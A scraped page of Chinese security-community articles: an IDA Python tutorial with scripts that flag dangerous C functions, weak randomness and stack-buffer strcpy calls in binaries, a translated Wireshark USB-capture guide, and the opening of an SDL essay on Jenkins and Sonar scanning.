同时对类和属性的检查不够全面，导致绕过。在平时学习中如果对一下框架的特性安全性有更深的思路，可能会有意外的收获。 | 社区文章 |
# 基于IDA Python的二进制代码安全审计
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
IDA pro 对二进制文件解析能力毋庸置疑，并且支持Python脚本与IDC结合起来，可以基于此做很多有意思的事情。
最近在做终端安全检测，经常会遇到编译好的二进制程序，就想试试通过IDA Python来做相关的安全检测工作。
由于IDA pro 支持
x86/x86-64/arm/arm64/mips等文件格式的解析，所以检测脚本也可以支持Android/iOS/macOS/Windows/Linux等众多平台的二进制程序。
本文基于 IDA pro 7.0，IDA pro 在6.8以后的版本都自带了IDA
Python，而更早的版本则需要手动安装：<https://github.com/idapython>
## IDA Python基础
本部分参考：[IDA-python学习小结](https://cartermgj.github.io/2017/10/10/ida-python/) IDA
Python由三个独立模块组成：
idc:idc函数的兼容模块,包含IDA内置函数声明和内部定义
idautils:实用函数模块
idaapi:用于访问更多底层数据的模块
常用函数功能示例：
指令处理
获取当前指令地址：ea=here() print “0x%x %s”%(ea,ea)
获取当前的汇编指令：idc.GetDisasm(ea)
获取当前处于的段：idc.SegName()
获取该段程序最低和最高地址：hex(MinEA()) hex(MaxEA())
获取下(上)一条汇编指令地址：ea = here() ; next_instr = idc.NextHead(ea) PrevHead(ea)
函数操作
获取程序所有函数的名称：
for func in idautils.Functions():
print hex(func), idc.GetFunctionName(func)
计算当前函数有多少条指令：
ea = here()
len(list(idautils.FuncItems(ea)))
获取当前IDB中记录的所有有名字函数的地址和名称： idautils.Names() 返回的是一个以元组组成的列表，函数的起始地址指向了其plt表img
指令操作
给定地址，打印指令 idc.GetDisasm(ea)
给定函数中一个地址，得到整个函数的指令列表 idautils.FuncItems(here())
获取函数的一些flag信息： idc.GetFunctionFlags(func)
对一条汇编指令进行拆解： 获取指令的操作：idc.GetMnem(here()) 获取指令的操作数：idc.GetOpType(ea,n) 根据返回的数值，可以判断操作数类型（普通寄存器、常量字符串等）
对汇编指令中用到的操作数，求取其引用的地址，也就是双击该操作数后跳转到的地址 hex(idc.GetOperandValue(here(),1))
交叉引用
指令从哪个地方来：idautils.CodeRefsTo(here(),0)
指令下一步去到哪儿：idautils.CodeRefsFrom(here(),0)
数据从哪个地方来：idautils.DataRefsTo(here(),0)
数据下一步去到哪儿：idautils.DataRefsFrom(here(),0)
较为通用的一种获取xref：idautils.XrefsTo(here(),flag) 其中flag=0时，所有的交叉引用都会被显示
更多详细函数信息参考IDA官方手册： <https://www.hex-rays.com/products/ida/support/idapython_docs/>
## IDA Python 检测功能脚本
IDA Python检测功能脚本是在IDA pro环境下执行，语法基于python2.7，与电脑本地配置环境无关。
### 危险函数检测
**Intel SDL List of Banned Functions**
《SDL List of Banned Functions》是Intel于2016年出的SDL流程里面的c语言危险函数列表，本文使用该列表函数为示例，参考：
<https://github.com/intel/safestringlib/wiki/SDL-List-of-Banned-Functions>
另外还可以参考： IBM 于2000年出的《防止缓冲区溢出》
<https://www.ibm.com/developerworks/cn/security/buffer-defend/index.html> 微软
于2011年出的 《MSDN article: SDL Banned Function Calls》：
<http://msdn.microsoft.com/en-us/library/bb288454.aspx>
危险函数 | 安全替换函数 | 说明
---|---|---
alloca(), _alloca() | malloc(), new() |
alloc()是在栈上分配内存因此容易导致栈结构损坏，而malloc()和new()则是在堆上分配内存因此安全性要高于 alloc()
scanf(), wscanf(), sscanf(), swscanf(), vscanf(), vsscanf() | fgets() |
strlen(), wcslen() | strnlens(), wcsnlens() |
strtok(), strtok_r(), wcstok() | strtok_s() |
strcat(), strncat(), wcscat(), wcsncat() | strcats(), strncats(), strlcat(),
wcscats(), wcsncats() |
strcpy(), strncpy(), wcscpy(), wcsncpy() | strcpys(), strncpys(), strlcpy(),
wcscpys(), wcsncpys() |
memcpy(), wmemcpy() | memcpys(), wmemcpys() |
stpcpy(), stpncpy(), wcpcpy(), wcpncpy() | stpcpys(), stpncpys(), wcpcpys(),
wcpncpys() |
memmove(), wmemmove() | memmoves(), wmemmoves() |
memcmp(), wmemcmp() | memcmps(), wmemcmps() |
memset(), wmemset() | memsets(), wmemsets() |
gets() | fgets() |
sprintf(), vsprintf(), swprintf(), vswprintf() | snprintf() 或其他安全字符串库中的特殊版本 |
snprintf(), vsnprintf() | – | 应使用避免vargs构造的包装函数，并对传递给snprintf()的参数进行编译时检查
realpath() | – | 仍使用realpath()，但第二个参数必须使用NULL，这会强制在堆上分配缓冲区
getwd() | getcwd() | getcwd()会检查buffer大小
wctomb(), wcrtomb(), wcstombs(), wcsrtombs(), wcsnrtombs() | – | 宽字符wide-character到多字节multi-byte的字符串转换可能会造成缓冲区溢出，但目前没有替代方案
**危险函数检测脚本**
危险函数的检测，通过匹配Functions列表中函数完成，除了获取函数的定义位置，还可以获取到调用位置：
#危险函数列表，参考自: https://github.com/intel/safestringlib/wiki/SDL-List-of-Banned-Functions
danger_func = ["alloca","_alloca","scanf","wscanf","sscanf","swscanf","vscanf","vsscanf","strlen","wcslen","strtok","strtok_r","wcstok","strcat","strncat","wcscat","wcsncat","strcpy","strncpy","wcscpy","wcsncpy","memcpy","wmemcpy","stpcpy","stpncpy","wcpcpy","wcpncpy","memmove","wmemmove","memcmp","wmemcmp","memset","wmemset","gets","sprintf","vsprintf","swprintf","vswprintf","snprintf","vsnprintf","realpath","getwd","wctomb","wcrtomb","wcstombs","wcsrtombs","wcsnrtombs"]
#IDA解析的函数通常都会在最前面加上"_",所以在函数列表基础上还需要给每个函数最前面添加"_"
_danger_func = danger_func
s = '_'
for i in xrange(len(danger_func)):
_danger_func[i] = s + danger_func[i]
total_danger_func = danger_func + _danger_func
#获取Functions列表，并匹配是否存在危险函数
for func in Functions():
func_name = GetFunctionName(func)
if func_name in total_danger_func:
#按指定格式输出危险函数定义位置
print "danger_func_define: ".ljust(8),"\t", func_name.ljust(8), "\t", hex(func)[:-1]
#回溯并输出函数调用地址
xrefs = CodeRefsTo(func, False)
i=0
for xref in xrefs:
#x86调用函数多使用call，而arm则多使用BL
if GetMnem(xref).lower() == "call" or "BL":
if func_name in total_danger_func:
i=i+1
print format(i,'>5.0f')+".","\t","danger_func_call:".ljust(8),"\t", func_name.ljust(8),"\t", hex(xref)[:-1].ljust(8),"\t", GetFuncOffset(xref)
使用方式：
等ida解析完程序后，将上述代码复制到IDA pro的python命令栏中执行即可，效果如下图: 对危险函数的定义位置，和相关调用位置都进行了检测。
### **iOS弱随机数 &NSLog调用检测**
由于IDA pro支持各种二进制格式，所以也可以检测如iOS、Android应用，比如在iOS中的弱随机数和比如在iOS中的弱随机数和NSLog调用调用。
在iOS中常见的随机数函数有rand()、srand()、random()、arc4random()，而rand()和random()实际并不是一个真正的伪随机数发生器，在使用之前需要先初始化随机种子，否则每次生成的随机数一样。
NSLog是iOS的日志输出函数，在一些有安全需求的场景下，通常都会禁止使用日志输出信息。
对于这两个检测项，同样需要对Functions列表中的函数进行匹配，并输出相应函数定义位置和调用位置：
iOS_NSlog = ["NSLog","_NSLog"]
iOS_pseudo_random = ["rand","random","_rand","_random",]
for func in Functions():
func_name = GetFunctionName(func)
#iOS弱随机数检测
if func_name in iOS_pseudo_random:
print "iOS_pseudo_random_define: ".ljust(8),"\t", func_name.ljust(8), "\t", hex(func)[:-1]
xrefs = CodeRefsTo(func, False)
i=0
for xref in xrefs:
if GetMnem(xref).lower() == "call" or "BL":
if func_name in iOS_pseudo_random:
i=i+1
print format(i,'>5.0f')+".","\t","iOS_pseudo_random_call:".ljust(8),"\t", func_name.ljust(8),"\t", hex(xref) [:-1].ljust(8),"\t",GetFuncOffset(xref)
#iOS NSlog函数检测
if func_name in iOS_NSlog:
print "iOS_NSlog_define: ".ljust(8),"\t", func_name.ljust(8), "\t", hex(func)[:-1]
xrefs = CodeRefsTo(func, False)
i=0
for xref in xrefs:
if GetMnem(xref).lower() == "call" or "BL":
if func_name in iOS_NSlog:
i=i+1
print format(i,'>5.0f')+".","\t","iOS_NSlog_call:".ljust(8),"\t", func_name.ljust(8),"\t",hex(xref)[:-1].ljust(8),"\t", GetFuncOffset(xref)
执行结果如下：
### **Windows CreateProcessAsUserW函数**
根据微软关于CreateProcessAsUserW的文档(<https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera)>：
The lpApplicationName parameter can be NULL. In that case, the module name
must be the first white space–delimited token in the lpCommandLine string. If
you are using a long file name that contains a space, use quoted strings to
indicate where the file name ends and the arguments begin; otherwise, the file
name is ambiguous.
在路径中含有空格且不带引号的情况下可能导致歧义: 如路径名c:\program files\sub dir\program name.exe
系统将优先解析为c:\program.exe
不过由于CreateProcessAsUserW的地址参数都是动态传递，静态难以检测，故这里只检测是否调用该函数。动态的地址参数可以考虑使用angr符号执行来检测，这会在以后的工作中来进行。
idapython检测代码如下，CreateProcessAsUserW函数是由系统库提供，故需检测imports导入表：
imports_name = ["CreateProcessAsUserW"]
implist = idaapi.get_import_module_qty()
for i in range(0, implist):
name = idaapi.get_import_module_name(i)
def imp_cb(ea, name, ord):
if name in imports_name:
print "danger_func_define:".ljust(8),"\t", "%08x: %s (ord#%d)" %(ea,name,ord)
xrefs = CodeRefsTo(ea, False)
i=0
for xref in xrefs:
if GetMnem(xref).lower() == "call" or "BL":
i=i+1
print format(i,'>5.0f')+".","\t","danger_func_call:".ljust(8),"\t", name.ljust(8),"\t", hex(xref)[:-1].ljust(8),"\t", GetFuncOffset(xref)
return True
idaapi.enum_import_names(i, imp_cb)
检测结果：
### 栈缓冲区溢出检测
缓冲区溢出检测代码参考，以strcpy函数为例： [Introduction to IDAPython for Vulnerability Hunting
](https://www.somersetrecon.com/blog/2018/7/6/introduction-to-idapython-for-vulnerability-hunting) [Introduction to IDAPython for Vulnerability Hunting –
Part 2](https://www.somersetrecon.com/blog/2018/8/2/idapython-part-2)
主要内容从函数调用的地址向后跟踪推送到栈中的参数，并返回与指定参数对应的操作数。然后确定eax在被推入堆栈时是否指向栈缓冲区，存在可能造成栈缓冲区溢出的利用点。
def twos_compl(val, bits=32):
"""compute the 2's complement of int value val"""
# 如果设置了符号位，如8bit: 128-255
if (val & (1 << (bits - 1))) != 0:
#计算负值
val = val - (1 << bits)
#返回正值
return val
#对ida7.0以上的兼容
def is_stack_buffer(addr, idx):
inst = DecodeInstruction(addr)
# IDA < 7.0
try:
ret = get_stkvar(inst[idx], inst[idx].addr) != None
# IDA >= 7.0
except:
from ida_frame import *
v = twos_compl(inst[idx].addr)
ret = get_stkvar(inst, inst[idx], v)
return ret
def find_arg(addr, arg_num):
# 获取函数所在段的起始地址
function_head = GetFunctionAttr(addr, idc.FUNCATTR_START)
steps = 0
arg_count = 0
# 预计检查指令在100条以内
while steps < 100:
steps = steps + 1
# 向前查看指令
addr = idc.PrevHead(addr)
# 获取前一条指令的名称
op = GetMnem(addr).lower()
# 检查一下是否存在像ret,retn,jmp,b这样可以中断数据流的指令
if op in ("ret", "retn", "jmp", "b") or addr < function_head:
return
if op == "push":
arg_count = arg_count + 1
if arg_count == arg_num:
# 返回被push到堆栈的操作数
return GetOpnd(addr, 0)
def strcpy_buffer_check():
print "-----------------------------------------------------------------"
print "Do strcpy stack buffer check.."
for functionAddr in Functions():
# 检查所有函数
if "strcpy" in GetFunctionName(functionAddr): xrefs = CodeRefsTo(functionAddr, False)
# 遍历交叉引用，追踪函数执行过程
for xref in xrefs:
# 检查交叉引用是否是函数调用
if GetMnem(xref).lower() == "call":
# 找到函数的第一个参数
opnd = find_arg(xref, 1) function_head = GetFunctionAttr(xref, idc.FUNCATTR_START)
addr = xref
_addr = xref
while True:
_addr = idc.PrevHead(_addr)
_op = GetMnem(_addr).lower()
if _op in ("ret", "retn", "jmp", "b") or _addr < function_head:
break
elif _op == "lea" and GetOpnd(_addr, 0) == opnd:
# 检查目标函数的缓冲区是否在堆栈当中
if is_stack_buffer(_addr, 1):
print "STACK BUFFER STRCOPY FOUND at 0x%X" % addr
break
# 如果检测到要定位的寄存器是来自其他寄存器，则更新循环，在另一个寄存器中继续查找数据源
elif _op == "mov" and GetOpnd(_addr, 0) == opnd:
op_type = GetOpType(_addr, 1)
if op_type == o_reg:
opnd = GetOpnd(_addr, 1)
addr = _addr
else:
break
print "Strcpy stack buffer check over.."
执行结果如下：
## Python 后台批量检测脚本
### 后台批量检测
后台批量检测基于idat指令，用法: idat -Llog.txt -c -A -Scheck_list.py bin
该指令只能一次检测一个文件，所以需要先将idapython检测代码写进check_list.py脚本，再单独写一个main.py:
遍历当前文件夹 解压所有zip包 识别目录下所有bin文件32或者64位格式 并执行相应的idat或者idat64指令进行检测
**遍历当前目录并解压zip文件**
本代码位于main.py文件
由于iOS/Android应用ipa和apk实际都是ZIP包格式，因此在执行检测之前，需要对zip文件进行解压，代码如下：
import os
import magic
import subprocess
from zipfile import ZipFile
import sys
#分析文件路径，当前文件夹
_path = "."
#获取当前系统
system = sys.platform
#macOS/Linux解压
def unzip_zipfile():
print ("Unzip file...")
#遍历当前文件夹，识别文件类型
for path,dir_list,file_list in os.walk(_path):
for file_name in file_list:
full_file_name = path+'/'+file_name
file_type = magic.from_file(full_file_name)
#利用magic库来获取文件类型
if "Zip archive data" in file_type:
print ("unzip Zip file",full_file_name,"to",full_file_name[:-4],"...")
#对zip文件进行解压到当前目录
zp = ZipFile(full_file_name,"r")
zp.extractall(full_file_name[:-4])
#Windows解压
def win_unzip_zipfile():
print ("Unzip file...")
for path,dir_list,file_list in os.walk(_path):
for file_name in file_list:
full_file_name = path+'\\'+file_name
file_type = magic.from_file(full_file_name)
if "Zip archive data" in file_type:
print ("unzip Zip file",full_file_name,"to",full_file_name[:-4],"...")
zp = ZipFile(full_file_name,"r")
zp.extractall(full_file_name[:-4])
def main():
print ("System is:",system)
if system == "win32":
win_unzip_zipfile()
else:
unzip_zipfile()
if __name__ == "__main__":
main()
**识别文件类型并批量执行检测**
本代码位于main.py文件
主要为遍历当前文件夹，识别目录下所有bin文件32或者64位格式，并执行相应的idat或者idat64指令，最后在当前目录下生成带路径文件名的log文件：
# -*- coding: utf-8 -*- import os
import magic
import subprocess
import sys
#idapython脚本路径
script_path = ".\check_list.py"
#分析文件路径
g = os.walk(r".")
#ida路径
#ida32_path = "/Applications/IDA\ Pro\ 7.0/ida.app/Contents/MacOS//idat"
#ida64_path = "/Applications/IDA\ Pro\ 7.0/ida.app/Contents/MacOS//idat64"
ida32_path = "idat"
ida64_path = "idat64"
system = sys.platform
#macOS/Linux分析
def binary_file_list():
bin_file = ["PE32","ELF","Mach-O"]
for path,dir_list,file_list in os.walk(_path):
for file_name in file_list:
full_file_name = path+'/'+file_name
file_type = magic.from_file(full_file_name)
for e in bin_file:
if e in file_type:
if "64" in file_type:
print ("Analysis",full_file_name,"ing...")
#fat Mach-O 优先用64位ida
cmd = '{} -L{}_ida.log -c -A -S{} {}'.format(ida64_path,full_file_name.replace("/","_").replace(".","_"),script_path,full_file_name)
p = subprocess.Popen([cmd],shell=True)
p.wait()
print ("out：",full_file_name.replace("/","_").replace(".","_")+'_ida.log')
print('\n')
else:
print ("Analysis",full_file_name,"ing...")
cmd = '{} -L{}_ida.log -c -A -S{} {}'.format(ida32_path,full_file_name.replace("/","_").replace(".","_"),script_path,full_file_name)
p = subprocess.Popen([cmd],shell=True)
p.wait()
print ("out：",full_file_name.replace("/","_").replace(".","_")+'_ida.log')
print('\n')
#win分析
def win_binary_file_list():
bin_file = ["PE32","ELF","Mach-O"]
for path,dir_list,file_list in os.walk(_path):
for file_name in file_list:
full_file_name = path+'\\'+file_name
file_type = magic.from_file(full_file_name)
for e in bin_file:
if e in file_type:
if "64" in file_type:
cmd = '{} -L{}_ida.log -c -A -S{} {}'.format(ida64_path,full_file_name.replace("\\","_").replace(".","_"),script_path,full_file_name)
print ("Analysis",full_file_name,"ing...")
p = subprocess.Popen(cmd,shell=True)
p.wait()
print( "out：",full_file_name.replace("\\","_").replace(".","_")+'_ida.log')
print('\n')
else:
cmd = '{} -L{}_ida.log -c -A -S{} {}'.format(ida32_path,full_file_name.replace("\\","_").replace(".","_"),script_path,full_file_name)
print ("Analysis",full_file_name,"ing...")
p = subprocess.Popen(cmd,shell=True)
p.wait()
print( "out：",full_file_name.replace("\\","_").replace(".","_")+'_ida.log')
print('\n')
def main():
if system == "win32":
win_binary_file_list()
else:
binary_file_list()
if __name__ == "__main__":
main()
执行效果：
**整合log**
本代码位于main.py文件
如果检测文件过多，生成的log文件也会太多，导致阅读困难
故本次还会对log文件进行提取，将关键部分提取到同一个log中
代码如下：
def rwrite_log():
for path,dir_list,file_list in os.walk(_path):
for file_name in file_list:
full_file_name = path+'/'+file_name
file_type = magic.from_file(full_file_name)
content = []
recording = False
if "_ida.log" in full_file_name:
with open(full_file_name,'rb') as read_file:
for line in read_file:
line = line.strip()
if "File" in line.decode():
print(line.decode()[:-48],file=f)
if begin in line.decode():
recording = True
if recording :
content.append(line.decode())
if over in line.decode() :
break
print('\n'.join(content),file=f)
print('\n',file=f)
print('\n',file=f)
def win_rwrite_log():
for path,dir_list,file_list in os.walk(_path):
for file_name in file_list:
full_file_name = path+'\\'+file_name
file_type = magic.from_file(full_file_name)
content = []
recording = False
if "_ida.log" in full_file_name:
with open(full_file_name,'rb') as read_file:
for line in read_file:
line = line.strip()
if "File" in line.decode():
print(line.decode()[:-48],file=f)
if begin in line.decode():
recording = True
if recording :
content.append(line.decode())
if over in line.decode() :
break
print('\n'.join(content),file=f)
print('\n',file=f)
print('\n',file=f)
### 其他文件检测功能
**iOS编译选项检测**
本代码位于main.py文件
iOS编译选项需要使用macOS平台的otool指令，目前尚无win和linux 版工具
检测方式：判断当前系统是否是macOS，如果是则遍历当前目录，并对所有Mach-O文件执行相应otool指令检测对应选项
def iOS_compile_parameters_check():
print ("-----------------------------------------------------------------")
print ("-----------------------------------------------------------------",file=f)
print ("iOS file compile parameters check...")
for path,dir_list,file_list in os.walk(_path):
for file_name in file_list:
full_file_name = path+'/'+file_name
file_type = magic.from_file(full_file_name)
if ("Mach-O" in file_type) and ("arm" in file_type):
cmd_pie = 'otool -hv {} | grep PIE'.format(full_file_name)
pie = subprocess.Popen([cmd_pie],shell=True,stdout=subprocess.PIPE)
pie.wait()
p = pie.stdout.read()
if "PIE".encode() in p:
file_pie = "PIE ON!"
else:
file_pie = "PIE OFF!"
cmd_ssp = 'otool -Iv {} | grep stack'.format(full_file_name)
ssp = subprocess.Popen([cmd_ssp],shell=True,stdout=subprocess.PIPE)
ssp.wait()
s = ssp.stdout.read()
if ("stack_chk_guard".encode() in s) or ("stack_chk_fail".encode() in s):
file_ssp = "SSP ON!"
else:
file_ssp = "SSP OFF!"
cmd_arc = 'otool -Iv {} | grep objc_releas'.format(full_file_name)
arc = subprocess.Popen([cmd_arc],shell=True,stdout=subprocess.PIPE)
arc.wait()
a = arc.stdout.read()
if "objc_releas".encode() in a:
file_arc = "ARC ON!"
else:
file_arc = "ARC OFF!"
print (file_pie.ljust(8),"\t",file_ssp.ljust(8),"\t",file_arc.ljust(8),"\t",full_file_name)
print (file_pie.ljust(8),"\t",file_ssp.ljust(8),"\t",file_arc.ljust(8),"\t",full_file_name,file=f)
def main():
if system == "darwin":
iOS_compile_parameters_check()
if __name__ == "__main__":
main()
执行结果如下：
**Windows文件Everyone访问权限检测**
本代码位于main.py文件
检查win程序的文件访问权限，主要是检查是否存在Everyone用户的权限
检测方式依赖cacle命令，执行结果如下（手动添加的Everyone权限，非xmind原本就有）:
检测代码如下：
def win_file_check():
print ("Win file check... ")
for path,dir_list,file_list in os.walk(_path):
for file_name in file_list:
full_file_name = path+'\\'+file_name
file_type = magic.from_file(full_file_name)
cmd = 'cacls {}'.format(full_file_name)
p = subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE)
p.wait()
a = p.stdout.read()
if "Everyone".encode() in a:
everyone = "Everyone ON!"
else:
everyone = "Everyone OFF!"
print (everyone.ljust(8),"\t",full_file_name)
执行结果如下：
## 其他检测计划
除了以上这些，基于IDA Python其实还可以做更多的检测项，比如：
1. 格式化字符串检测
2. 危险函数中，可以根据每个函数产生问题方式写不同检测代码
3. 栈缓冲区溢出检测，实际只检测了strcpy这一个函数，且也只检查了该函数是否写入栈缓冲区，而并未检查在写入时是否有长度检查等待，这些工作都可以在后续展开
4. 对已知漏洞检测，如Android三方Android-gif-Drawable开源库1.2.18以下版本存在远程代码执行漏洞，该漏洞位于so中，最基本的方式即检测so版本，但通常Android so文件都缺少版本信息，因此需要根据漏洞具体代码写对应检测规则
代码安全审计更多依赖于相关安全tips，个人对这些了解得还很少，还在学习中，故本文只列出少量示例以供抛砖引玉。
以上代码附git：<https://github.com/gandalf4a/idapython_checklist> | 社区文章 |
# 使用Wireshark捕捉USB通信数据
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://xathrya.id/2016/02/06/capturing-usb-data-with-wireshark/>
译文仅供参考，具体内容表达以及含义原文为准。
USB，是英文Universal Serial
Bus（通用串行总线）的缩写，而其中文简称为“通串线”，是一个外部总线标准，用于规范电脑与外部设备的连接和通讯。USB接口支持设备的即插即用和热插拔功能，是应用在PC领域的接口技术。
现在，越来越多的人喜欢使用USB设备了。很多的设备都会选择使用USB接口来作为设备的通信端口，而这也是一种流行的趋势，这有助于不同设备之间标准的统一。那么，你对USB设备的工作方式和运行机制真的了解吗？无论你是一个硬件黑客，还是一名对外围设备感兴趣的技术爱好者，USB设备都是一个非常具有挑战性的领域。在Wireshark的帮助下，我们不仅可以嗅探并截获到USB设备所发送的数据流信息，而且我们还可以将这些捕获到的数据存储至我们的主机中。我们实验所使用的主机安装的操作系统为Windows或者Linux。
在这篇文章中，我们将会讨论如何使用Wireshark来捕捉USB设备的通信数据。在我撰写这篇文章的过程中，我使用到了下列材料：
l Wireshark 2.0.1 (SVN)
l Linux kernel 4.1.6
在实际操作过程中，你可以选择使用版本号高于1.2.0的任意版本Wireshark来进行操作。在此，我并没有在本文中提供Windows系统的操作步骤，我会在实验操作完成之后的第一时间给大家提供这部分的信息。
**一些背景知识**
在我们开始操作之前，我觉得还是得给大家介绍一些有关USB设备的基础知识。USB有其自己的标准和规范。基本而言，我们可以通过以下三种方式来使用USB：
l USB UART接口
l USB HID（交互设备）
l USB存储设备
UART，即通用异步接收／发送器。这类设备只能够利用USB来进行数据的接收和发送操作。实际上，这类设备与普通的通信设备并没有本质上的区别。
HID，即人机交互设备。这也是USB作为接口来使用的一种典型应用。这类设备包括键盘，鼠标，游戏控制器，以及很多简单的显示设备等等。
最后就是USB存储设备，这也是最常见的一种USB使用形式。比如说外接硬盘，U盘和闪存驱动器等等，这些都属于USB存储设备这一类。
正如你所了解的那样，USB交互设备和USB存储器这两大类USB设备是目前我们使用最为广泛的。
现在，每一种USB设备，尤其是人机交互设备和存储设备，都有一串特殊的数字，这串数字被称为厂商ID和产品ID。这两个数字一般是成对出现的。厂商ID用于标明该产品是由哪一个制造商所生产的，而产品ID是产品的标识符。需要注意的是，产品ID并不是序列号。具体情况如下图所示：
上图所显示的是连接至我这台计算机的USB设备信息。我们可以调用lsusb命令来查看系统中的USB设备信息。
首先，我们要选择一个设备来进行实验。我有一个罗技无线鼠标，这是一种人机交互设备。而这个鼠标中也配备有一个数据接收装置，所以我决定将这个无线鼠标作为我的实验对象。你能从上图所示的信息中找到这个鼠标吗？没错，就是第四个。该设备的具体信息如下：
Bus 003 Device 010: ID 046d:c52f Logitech, Inc. Unifying Receiver
ID部分所显示的数据为046d:c52f，这是厂商ID和产品ID（厂商ID: 产品ID）。很明显，厂商ID为046d，产品ID为c52f。
除此之外，我们可以看到开头的“Bus 003 Device 010”。这段信息告诉我们这一USB设备所连接的是哪一条总线。这是一条非常重要的信息。
**准备工作**
现在，我们需要使用root权限来运行Wireshark，并利用Wireshark来嗅探USB通信数据。当然了，我们并不建议大家利用root权限来进行操作。我们可以使用Linux提供的usbmon来为我们获取和导出数据信息的操作赋予足够的权限。具体请参考Linux－udev。我们所要做的就是创建一个usbmon
group，然后将我们的账号加入这个组，最后生成相应的udev规则。相关操作命令如下：
addgroup usbmon
gpasswd -a $USER usbmon
echo 'SUBSYSTEM=="usbmon", GROUP="usbmon", MODE="640"' > /etc/udev/rules.d/99-usbmon.rules
接下来，我们需要使用usbmon的内核模块。如果系统还未加载该模块，我们可以使用root权限并运行下列命令来进行加载。
modprobe usbmon
**数据捕捉**
打开Wireshark之后，我们可以看到如下图所示的接口列表。你应该能看到形如usbmonX的信息，其中X为数字。下图显示的是我的信息（没错，我使用了root权限）：
如果Wireshark检测到了接口中有数据流信息，它会以波形图的形式将信息显示给我们。那么，我们该选择哪一个呢？还记得我之前说过的吗？没错，数字“X”所对应的就是设备所连接的USB总线。在我的操作过程中，目标设备为usbmon3。我们打开它之后，就可以看到其中的数据流信息了。点击usbmon接口，然后点击那个蓝色的鱼鳍图标。
**然后呢？**
我们在成功捕获了数据流信息之后，我们能做什么呢？这一切都将取决于我们自己。通常情况下，我们可以通过这些信息来了解设备与主机的通信机制。而且在某些情况下，我们还可以利用这些信息并结合我们自己的知识来对其进行逆向工程分析。如果您喜欢这篇文章，并且还想了解更多相关的信息，请持续关注我们360安全播报平台。 | 社区文章 |
SDL探索之路
SDL路阻且艰，但是却是一条必走之路。
目前就职于一家甲方公司，平时的主要工作是做安全渗透，偶尔也会做一下代码审计。总的来说流程很固定，每天重复差不多同样的工作。时间长了，也慢慢在思考一些问题。作为安全人员如何才能实现最大的价值呢？黑盒测试或者说白盒测试，总的来说属于事后的安全测试。在这个时间段发现的问题，往往比较滞后，修复起来通常需要消耗较多的时间。举个简单的例子：比如菜单越权。这种问题如果在开发的时候没有考虑周全，则修复起来需要消耗大量的时间。那么面临这些问题，除了将安全向前延伸没有其他方法。安全向前延伸，则必定要谈起SDL建设。SDL是重要且意义重大的，只有将SDL全链打通才能更好的助力公司安全建设同时体现自己的价值。本文会浅谈一下SDL建设，重点会放在SDL建设中的静态扫描阶段和动态扫描阶段。
自2004年起，微软将SDL作为全公司的计划和强制政策，SDL的核心理念就是将安全考虑集成在软件开发的每一个阶段:需求分析、设计、编码、测试和维护。从需求、设计到发布产品的每一个阶段都增加了相应的安全活动，以减少软件中漏洞的数量并将安全缺陷降低到最小程度。图1所示为Microsoft
安全开发生命周期。
通过上图可以看到，微软大致将SDL分为以下几个阶段：培训阶段；需求阶段；设计阶段；实施阶段；验证阶段；发布阶段；相应阶段。可能各个公司根据情况不同会重新定义不同的阶段，但是大体上是一致的。这里认为，SDL大致可以分为以下阶段：
# 1\. 培训阶段
培训基本上很多公司都会做，培训一般包括安全编码培训(包括C#/C++/JAVA，大公司一般很少用到PHP)，常见各种安全漏洞的专项培训。
培训可以分为线上和线下，这两种结合起来是最好的。线上可以方便开发及时查看，线下可以针对性的做安全培训，这部分内容就不再做过多的介绍。
想说的是，这个阶段很有必要搭建一个安全知识库平台，放置各种培训手册和漏洞修复手册，从而方便开发人遇到问题及时查看解决。
# 2\. 需求和设计阶段
在微软的SDL模型中是将需求和设计分开的，但是这里选择将两者合并。这个过程是比较复杂的地方。这个阶段限制因素较多。原因无外乎这两点：一是项目建设时间紧迫；二是投入的人力和结果不成正比，且往往需要消耗大量的时间。其实SDL建设往往就卡在这个地方，但是这个阶段往往又是不可忽略的部分。
在这个阶段需要提前考虑减少攻击面，深度防御，最小权限原则，安全默认设置等问题，这些问题同时也是贯穿整个开发周期。
在需求阶段，如果深入进去可能需要常常和开发部门开会了解需求，这样实行起来比较困难。那么这里可以选择构建需求裁剪表，让开发人员自己裁剪。由于这个过程不用深入“一线”，因此这里的裁剪表就需要尽可能的全面完善。同时需求裁剪表不可能尽善尽美，因为需求裁剪表更着重的是常见安全问题的一个说明提示，但是对于一些业务系统的逻辑安全问题是不涉及的，因此针对该问题是需要思考出一个高效可行的方法。有的公司可能会根据业务流程图进行安全标注，这是一种解决方案，但是问题也是很明显的，需要了解业务逻辑真正执行起来效率会比较低。因此这种方式可以作为备选，也可以只针对核心系统进行如此操作。
至于其它好的想法欢迎大佬交流。
# 3\. 代码质量扫描阶段
实施阶段主要是做代码的质量扫描以及第三方组件库扫描。这个阶段目标是及时扫描排除不安全的编码规范问题，及时发现危险的第三方组件库漏洞问题，从而避免问题向下层扩展。这个阶段可以划分为静态扫描，针对这个阶段已经有很成熟的扫描机制。目前可以将jenkins，sonar，pclint，findbug，findsecbug，dependency进行集成，从而构建一个完整统一的平台，方便开发或者配管进行集成扫描。在介绍集成之前，先简要介绍一这些工具，
Jenkins是一个开源软件项目，是基于Java开发的一种持续集成工具，用于监控持续重复的工作，旨在提供一个开放易用的软件平台，使软件的持续集成变成可能。
Sonar（SonarQube）是一个开源平台,用于管理源代码的质量，它不仅是一个质量数据报告工具，更是代码质量管理平台。它通过插件的形式来管理代码，它支持的语言包括：Java，PHP，C#，C等。
Pclint是一个C++/C代码质量扫描工具，其不仅能够对程序进行全局分析，识别没有被适当检验的数组下标，报告未被初始化的变量，警告使用空指针以及冗余的代码，还能够有效地帮你提出许多程序在空间利用、运行效率上的改进点。除此之外，CPPcheck工具也可以实现类似的扫描。
Findsecbug是一个java代码安全扫描工具。Dependency-check是一个第三方组件扫描工具。
Sonar可以集成pclint，findbug，dindsecbug，dependency-check工具，而Jenkins可以集成sonar从而实现对其自动化管理。因此，本文将主要从三个方面进行介绍，分别是： denpendency-check扫描；findsecbug扫描；pclint扫描。
## 3.1 工具集成
### 3.1.1 Jenkins集成sonar
(1) Jenkins安装
有两种方式可以实现Jenkins环境搭建。一种是直接去官网下载windows版安装包然后运行，输入密码进入。密码通常在以下目录存储:C:\Program
Files (x86)\Jenkins\secrets\initialAdminPassword。
